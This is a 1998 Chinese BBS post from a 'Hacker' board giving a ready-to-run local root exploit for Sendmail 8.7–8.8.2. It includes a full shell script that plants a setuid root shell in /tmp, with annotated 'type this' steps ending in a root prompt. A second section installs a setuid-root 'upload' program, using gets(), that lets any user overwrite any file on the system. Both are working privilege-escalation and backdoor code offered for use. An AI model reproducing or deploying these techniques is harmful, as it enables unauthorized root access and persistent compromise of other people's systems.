荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: Lg (北斗七星), 信区: Hacker
标  题: SendMail漏洞
发信站: BBS 荔园晨风站 (Mon Sep 21 17:08:41 1998), 站内信件

From:
         calvin
 Subject:
         SendMail漏洞
                                   (Reply)
   Date:
         Thu Sep 17 14:51:11 1998


SendMail Hole

适 用 于 版 本 8.7-8.8.2 for Linux, FreeBSD, 和 其 它 的 UNIX 系 统。

$ telnet localhost 25           <----------打
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 localhost ESMTP Sendmail 8.7.5/8.7.3; Thu, 25 Dec 1997 15:17:46 +0800
quit                            <----------确定版本,是8.7到8.8.2中的版本,然後离

221 localhost closing connection
Connection closed by foreign host.
$ cat >send.sh                  <--------照打
----------------------------send.sh开始-------------------------------------
#/bin/sh
echo 'main() '>>leshka.c
echo '{ '>>leshka.c
echo ' execl("/usr/sbin/sendmail","/tmp/smtpd",0); '>>leshka.c
echo '} '>>leshka.c
#
#
echo 'main() '>>smtpd.c
echo '{ '>>smtpd.c
echo ' setuid(0); setgid(0); '>>smtpd.c
echo ' system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh"); '>>smtpd.c
echo '} '>>smtpd.c
#
#
cc -o leshka leshka.c;cc -o /tmp/smtpd smtpd.c
./leshka
kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]" "\n"
|head -n 1`
rm leshka.c leshka smtpd.c /tmp/smtpd
echo "Now type: /tmp/sh"
-------------------------------send.sh结束------------------------------------
$ chmod 755 send.sh               <------------变可执行档
$ ./send.sh                       <------------执行
Now type: /tmp/sh
$ /tmp/sh                         <---------照打
# whoami                          <---------看看你是谁
root                              <---------到手啦!!!



#7 让任何人upload档案在任何目录下

root 身 份 下 来 做 (Must be root!)

$ cat >install               <---------编辑一个叫install的shell script
#! /bin/csh -f      }
cc upload.c         }
cp a.out upload     }
chown root upload   }    内容
chmod 755 upload    }
chmod u+s upload    }
^d (ctrl+d)    <--------存档

$ cat >upload.c              <---------主档
/************* Chen. 1/14/1997 ****************/
/*          Copyright Reserved  521973        */
/**********************************************/

#include

main()
{ char filename[48];
  printf( "This program will upload up.txt ASCII file to specified file\n"
);
  printf( "Chen ZhengDong Copyright Reserved\n" );
  printf( "Where to upload (include path and filename)? " );
  gets( filename );
  upload( filename );
}

int upload( filename )
char *filename;
{ FILE *fp,*outp;
  char c;

  fp=fopen( "up.txt","r" );
  outp=fopen( filename,"w" );

  if( fp== NULL )
  { printf( "file not exist." );
    return 0;
  }
  for( ;; )
  {
    c= fgetc( fp );
    if feof( fp ) break;
    printf( "%c",c );
    fputc( c, outp );
  }
  fclose( fp );
  fclose( outp );
  return 1;
}
-----------------------------end--------------------------------------------

# chmod 755 install           <----------- 让他可执行
#./install                    <----------- run it !





--
           @@@@@@       @@@  @@@     @@@  @@@ 信言不美,美言不信。善者不辩,辩
  @@@@@@@ @@!  @@@ @@@  @@!  @@@ @@@ @@!@!@@@ 者不善。知者不博,博者不知。圣人
 !@@      @!@!@!@! @@!  @!@  !@! @@! @!@@!!@! 不积,既以为人己愈有,既以与人己
 !@!      !!:  !!! @!!   !: .:!  !!@ !!:  !!! 愈多。天之道,利而不害;圣人之
 :!!       :   : : !!:     ::    !!: ::    :  道,为而不争。
  :: :: :           : ::.::       :                   Email:calvin@gz168.com

※ 来源:.华南网木棉站 bbs.gznet.edu.cn.[FROM: 202.38.212.85]

--
☆ 来源:.BBS 荔园晨风站 bbs.szu.edu.cn.[FROM: 210.39.0.47]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店